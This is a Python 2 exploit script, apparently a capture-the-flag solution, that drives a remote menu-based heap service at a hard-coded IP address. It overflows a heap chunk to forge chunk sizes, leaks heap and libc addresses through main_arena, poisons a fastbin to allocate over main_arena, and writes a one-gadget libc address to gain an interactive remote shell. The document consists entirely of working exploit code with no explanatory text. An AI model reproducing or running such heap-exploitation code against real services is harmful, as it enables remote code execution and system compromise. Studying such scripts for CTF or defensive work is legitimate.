import phun class R(phun.Remote): def cmd(self,cmd): self.sendlineafter('Command: ',str(cmd)) def alloc(self,size,nowait=False): self.cmd(1) self.sendlineafter('Size: ',str(size)) if nowait: return return int(self.read('Allocated\n').split()[1]) def free(self,idx): self.cmd(3) self.sendlineafter('Index: ',str(idx)) self.read('Deleted\n') def update(self,idx, data,size=0): self.cmd(2) size = size if size else len(data) data = data.ljust(size,"\x00") self.sendlineafter("Index: ",str(idx)) self.sendlineafter('Size: ',str(size)) self.sendafter('Content: ',data) self.read('Updated\n') def show(self,idx): self.cmd(4) self.sendlineafter('Index: ',str(idx)) self.read(': ') return self.readline() #r = R('173.212.243.71',1234) r = R('202.120.7.204',127) meh = r.alloc(0x10) ovf = r.alloc(0x28) vic = r.alloc(0x20) fake = r.alloc(0x20) r.alloc(0x20) r.update(ovf,'a'*0x28 + chr(0x51)) r.update(fake,phun.p64(-1,-1,0,0x21)) r.free(vic) bigass = r.alloc(0x40) r.update(bigass,'a'*0x20 + phun.p64(0,0x21)) r.free(meh) r.free(fake) heap = phun.u64(r.show(bigass)[0x30:][:8]) fake = r.alloc(0x10) r.update(bigass,'a'*0x20 + phun.p64(0,0xd1)) r.alloc(88) xx = r.alloc(88) r.update(xx,phun.p64(0,0x21,0,0,0,0x21)) #raw_input('x') r.free(fake) main_arena = phun.u64(r.show(bigass)[0x30:][:8]) - 88 libc = main_arena - 0x399b00 #0x3c1b00 print hex(libc) r.alloc(0x10) fake_chunk2 = main_arena - 0x33 fake_chunk = main_arena + 32 + 5 fake = r.alloc(0x48) xx = r.alloc(0x58) r.free(xx) r.free(fake) #raw_input('x') r.update(bigass,'a'*0x20 + phun.p64(0,0x51,fake_chunk)) print hex(fake_chunk),hex(fake_chunk2) r.alloc(0x48) arena = r.alloc(0x48) print arena r.update(arena,"\x00"*3 + "\x00"*32 + phun.p64(fake_chunk2)) winit = r.alloc(0x48) r.update(winit,"\x00"*3 + "\x00"*16 + phun.p64(libc + 0x3f35a)) # 0xdeadbeef)) raw_input('x') r.alloc(0x10,nowait=True) r.shell() r.close()